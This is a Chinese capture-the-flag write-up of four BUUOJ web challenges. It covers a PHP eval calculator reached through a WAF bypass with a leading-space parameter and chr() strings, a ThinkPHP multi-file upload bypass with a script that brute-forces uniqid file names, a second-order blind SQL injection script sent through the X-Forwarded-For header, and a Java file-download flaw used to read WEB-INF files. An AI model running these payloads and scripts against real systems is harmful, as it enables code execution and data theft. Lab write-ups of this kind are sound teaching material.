Contents
  1. 1. Easy Calc
  2. 2. Simle Upload
  3. 3. Online Proxy
  4. 4. Easy Java

涉及知识点:字符串解析bypass waf、二次注入、Thinkphp文件上传、java Web基础知识

Easy Calc

打开题目后是个计算器

1571730688021

右击查看源代码发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

发现calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

calc.php页面有命令执行功能eval('echo '.$str.';');,但是需要绕过blacklist,在实际测试中发现num参数,传入字符时页面返回403,因为calc页面黑名单中有$^所以我们没有办法轻易构造出无字符的命令执行payload,根据上一个页面中的I've set up WAF to ensure security可以大概判断,这里使用了web防火墙,我们可以利用php的字符解析特性进行bypass

php在解析GET和POST传参时通常会自动应用parse_str函数,利用具体可以参考https://www.freebuf.com/articles/web/213359.html,这里我们可以进行一个简单的fuzz,因为这里是没有中间的_的,所以,我们只测试参数左边和右边的。

1
2
3
4
5
6
7
8
import requests
import urllib.parse

for i in range(0,255):
url = "http://node3.buuoj.cn:28014/calc.php?{0}num=aaaaaaaaaaaa".format(urllib.parse.quote(chr(i)))
st = requests.get(url)
if(st.status_code == 200 and "aaaaaaaaaaaa" in st.text):
print("[+]",i,urllib.parse.quote(chr(i)),url)

最后测试结果只有calc.php?%20num=xxx才可以绕过waf并且正常执行。

接下来执行phpinfo

http://node3.buuoj.cn:28014/calc.php?%20num=phpinfo()

查看disable_functions

1571733959259

发现禁用了很多函数,file_get_fontents()并没有在其中,但是单双引号被屏蔽了,我们可以使用chr()函数来进行ascii转字符拼接来绕过。

查看flag路径

1571734399368

读取flag

1571734497866

使用file_get_fontents()来进行读取

http://node3.buuoj.cn:28014/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

1571734549956

Simle Upload

打开后发现是调用Thinkphp框架上传的代码

1571734941276

上传后的文件名基于uniqid函数生成

如果想要上传需要自己构建路由

http://6e3f9123-cf04-4473-b57a-3d4ee79af4e6.node3.buuoj.cn/?m=home&c=index&a=upload

1571735676072

可以看到代码中进行了php后缀的判断,如果是php后缀直接返回false停止上传

但是仔细读一下代码,可以发现

1571735494041

这里使用了upload()来进行上传,可以一次上传多个文件,并且file变量名这里可以任意输入,而该代码逻辑只检测变量名为file的值,所以我们这里可以修改上传时的变量名来进行绕过。

1571735946302

这里只会输出file变量的上传文件名,所以,我们需要构建多文件上传,然后爆破文件名,其中的allowExts并没有作用。

附上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

def GetSimple_Upload(url):
path = url + "/?m=home&c=index&a=upload"
files = {"file":("flag0.txt",'a'), "file1":("flag0.php", '<?php phpinfo();')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
print(t1)
t1 = int(t1, 16)
print(t1)

j = t1
while True:
path = url + "/Public/Uploads/2019-10-22/{0}.php".format(hex(j)[2:])
try:
r = requests.get(path, timeout=1)
except:
continue
if r.status_code != 404:
print (path,r.text)
break
print(j, hex(j)[2:], r.status_code)
j -= 1

if __name__ == '__main__':
url = "http://6e3f9123-cf04-4473-b57a-3d4ee79af4e6.node3.buuoj.cn"
GetSimple_Upload(url)

这里直接上传到php文件后,php内容会自动修改为flag,直接访问读取即可

Online Proxy

原来以为这个是ssrf,结果尝试了很长时间,发现是二次注入

抓包对页面进行测试,发现debug部分有ip信息,使用x-forwarded-for可以控制

1571741538240

经过多次尝试发现此处存在二次注入,会将当前ip经过处理带入数据库

攻击流程如下:

  • 第一次执行语句,使payload插入数据库中
  • 第二次执行语句,使payload显示在Lastip的位置
  • 第三次执行语句,使payload生效,显示攻击返回结果

利用此原理,我们可以编写脚本,这里可以使用布尔盲注也可以使用延时注入

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
def getDataLen(url):
len = 1
while True:
s = requests.session()
Payload = "1'/**/and/**/length((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e))={0}/**/and/**/'1".format(len)
head = {
"x-forwarded-for":Payload,
}
s.get(url,headers=head)#第一次插入 测试数据1
Payload = "1'/**/and/**/length((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e))={0}/**/and/**/'1".format(len+1)
head = {
"x-forwarded-for":Payload,
}
s.get(url,headers=head) #第二次插入数据2,测试数据1显示
rep = s.get(url,headers=head).text #第三次插入数据2,测试数据1生效
last_ip = re.findall('Last Ip: (\d)+', rep)[0]
if str(last_ip) == "1":
return len
len += 1
print(Payload,last_ip)

def getDataName(url,dbLen):
flag = ""
for i in range(1,dbLen+1):
for j in range(32,127):
s = requests.session()
Payload = "1'/**/and/**/ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{0},1))={1}/**/and/**/'1".format(i,j)
head = {
"x-forwarded-for":Payload,
}
s.get(url,headers=head)#第一次插入 测试数据1
Payload = "1'/**/and/**/ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{0},1))={1}/**/and/**/'1".format(i, j+1)
head = {
"x-forwarded-for":Payload,
}
s.get(url,headers=head)#第一次插入数据2,测试数据1显示
rep = s.get(url,headers=head).text#第二次插入数据2,测试数据1生效
last_ip = re.findall('Last Ip: (\d)+', rep)[0]
if str(last_ip) == "1":
flag += chr(j)
print("[+]:",flag)
break
print(i,j,last_ip,flag)
return flag

if __name__ == '__main__':
DataLen = getDataLen(url)
print("[+]",DataLen)
flag = getDataName(url,DataLen)
print("[+]:",flag)

此处有个坑点,在当前库是查询不到内容的,需要跨库查询

  • 数据库F4l9_D4t4B45e
  • 数据表F4l9_t4b1e
  • 列名 F4l9_C01uMn

1571744576495

Easy Java

1571744830940

打开后是个登陆页面,点击help发现跳转到

1571744786263

但是并不能下载,尝试post方式传参后可以成功下载

这里考察java Web基础知识,,,,

1571745281920

可以成功下载文件了,下一步开始读取初始化配置信息

1571745678660

查看web.xml

1571746850015

读取class文件

1571747396933

打开文件

1571747429208

解密base64编码即可

Contents
  1. 1. Easy Calc
  2. 2. Simle Upload
  3. 3. Online Proxy
  4. 4. Easy Java